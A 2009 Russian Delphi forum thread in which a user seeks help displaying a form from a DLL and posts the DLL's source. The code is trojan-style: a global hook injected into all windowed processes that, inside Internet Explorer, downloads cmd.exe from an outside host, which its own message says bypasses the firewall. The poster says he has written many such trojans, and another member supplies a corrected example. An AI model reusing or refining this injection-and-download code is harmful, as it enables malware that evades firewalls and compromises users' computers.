Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 31.01.2009, 14:12   #1
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию Проблема с отображением формы во внедеренной DLL

Не могу отобразить форму сохраненую в DLL'ке, в чем проблема незнаю, форму объявил, создал, прописал в ней процедуру отображения, вывел эту процедуру в экспорт чтоб могли другие потоки к ее функциям обращятся, и все равно что-то нетак, хотя компилятор свободно компилирует без ошибок, может кто знает в чем дела? исходники(202кб)
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 14:54   #2
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

И где же люди? Такие исходники в сеть выложил, а никто не ценит(самое то смешное ведь они рабочие, все кроме формы)))) Народ, ну что нету знающих людей??? Скажите в чем ошибка возможно что где-просто описка, ибо форма раньше у меня появлялась, но перед этим IE критовал ошибкой и сам перегружался, меня это не устроило, я не смог найти ошибку, и переделал весь проект, и теперь вообще немогу понять в чем дело!
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:03   #3
BOBAH13
Android Developer
Старожил Подтвердите свой е-майл
 
Аватар для BOBAH13
 
Регистрация: 19.02.2007
Сообщений: 3,708
По умолчанию

Эммм... я не много в не доумении... Вы экспортируите функцию которой, вроде нет, из длл в которой ее же и импортируите ?

код из длл
Код:
procedure Show; external 'Hook_DLL.DLL' index 10;
Еще, зачем экспорт функции
Код:
function HookProc(nCode, wParam, lParam: integer): integer stdcall;
Не стоит ее экспортировать.

Первый раз вижу такую реализацию установки хука:

Код:
procedure SetHK(hk: HHOOK) stdcall;
begin
     _hook:=hk;
end;
А где SetWindowsHookEx ? И еще, вы понимаите что длл будет отображатся в каждом процессе, и что надо использовать Map-File чтобы получать данные (4 байта) на дискриптор хука, узнать установлен ли он, если нет.

Еще, надо устанавливать хук именно в длл и именно там передавать адресс HookProc. То что вы делаите, это вы сами решили, никто так не делает. Может чудом это и заработает, но это не документации.


Боже мой, нашел procedure Show;

Серьезно мэн Убери ее из экспорта в длл, почему нельзя просто Form1.Show вызвать ?

Код:
exports Show index 10;
Procedure Show(Handle:THandle);
begin
Application.Handle:=Handle;
Form1:=TForm1.Create(Application);
Form1.Show;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;
Извените, конечно, вы хоть одну статью про dll читали ? А вам знакомо что если создавать объект
Код:
Form1:=TForm1.Create(Application);
и не освобождать его то происходит утечка памяти.

Вывод: Я вам от всей души, советую почитать 3-4 статьи про dll в Delphi 7 ну и в Windows. Потом как добавить форму, потом про хуки - глобальные. Потом убить этот код, и написать с новыми знаниями новый. Потом приходите если что не выйдет.

Последний раз редактировалось BOBAH13; 31.01.2009 в 15:10.
BOBAH13 вне форума Ответить с цитированием
Старый 31.01.2009, 15:08   #4
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Насчет хука, я с вами согласен полностью, но прорыв пару десятков статей я обнаружил что в вин2000\98\95\Ме параметр надо самому задавать(0), насчет экспорта функции ДЛЛ я писал что ее функции будут использоватся другими ДЛЛ в других потоках, насчет ипорта: согласен, этой мой бред, приношу извинения, ипорт у себя удалил уже )
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:15   #5
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Еще раз извинения, но прежде я писал кучу таких троянов(исключительно в позновательных целях ))), но теперь мне понадобилось вместо обычных процедур еще отображать форму, а про хранение и использование форм в ДЛЛ я знаю мало) так что моя проблема это отобразить ДЛЛ, если можете то справте код, я лучше пойму этот аспект если увижу его код, а не объяснения что где нетак )
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:18   #6
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Насчет утечки памяти согласен, но Форм1.Фри будет в другой процедуре, насчет убрать отображение формы вообще, если я вызову ее в ДЛЛ то она действительно покажется? )
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:23   #7
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Код:
library hook_dll;

uses
  Windows,
  UrlMon,
  Unit1 in 'Unit1.pas' {Form1};

var
   _hook: HHOOK = 0;
   thID: THandle;


function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
     Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

procedure SetHK(hk: HHOOK) stdcall;
begin
     _hook:=hk;
end;

procedure WorkWithNet(thrVar: integer) stdcall;
begin

     URLDownloadToFile(nil, 'http://test2.ru/cmd.exe', 'd:\cmd.exe', 0, nil);
     MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
     'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
     'Hook DLL', MB_OK);
     Form1.Show;
end;

exports
       HookProc name 'HookProc',
       SetHK name 'SetHK';

begin
     if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then
        begin
             CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);

        end;
end.
Юнит1
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;

end.
Итого: фомы как небыло так и нет) ЗЫ: насчет хука, он внедряется во все процессы которые имеют окна, это так задумано, позже напишу процедуру освобождающую память если процесс не ИЕ например, просто инъекция должна проходить так: внедрится во все окна, если это окно не ИЕ то выгрузить библиотеку, зачем это надо? я просто незнаю загружен ли щас тот процесс который мне надо или же он когда-нибудь возможно запустится)
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:24   #8
BOBAH13
Android Developer
Старожил Подтвердите свой е-майл
 
Аватар для BOBAH13
 
Регистрация: 19.02.2007
Сообщений: 3,708
По умолчанию

Вот... смотрите разбирайтесь
Вложения
Тип файла: zip Example.zip (2.2 Кб, 27 просмотров)
BOBAH13 вне форума Ответить с цитированием
Старый 31.01.2009, 15:29   #9
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Отлично, смысл уловил, большое спасибо!
Leloush вне форума Ответить с цитированием
Старый 31.01.2009, 15:30   #10
Leloush
Пользователь
 
Регистрация: 31.01.2009
Сообщений: 32
По умолчанию

Как тему закрыть? )
Leloush вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
TabSheet как родитель для формы из DLL - Проблема Leser Общие вопросы Delphi 2 11.01.2009 20:40
DLL и формы Andrei Isaev Компоненты Delphi 1 18.11.2008 18:25
проблема с отображением DBGrid gotex БД в Delphi 12 04.06.2008 01:06
Проблема с отображением джава скриптов LSDkltn HTML и CSS 2 01.04.2008 10:38
Проблема с отображением текста ALR Свободное общение 0 18.02.2007 20:08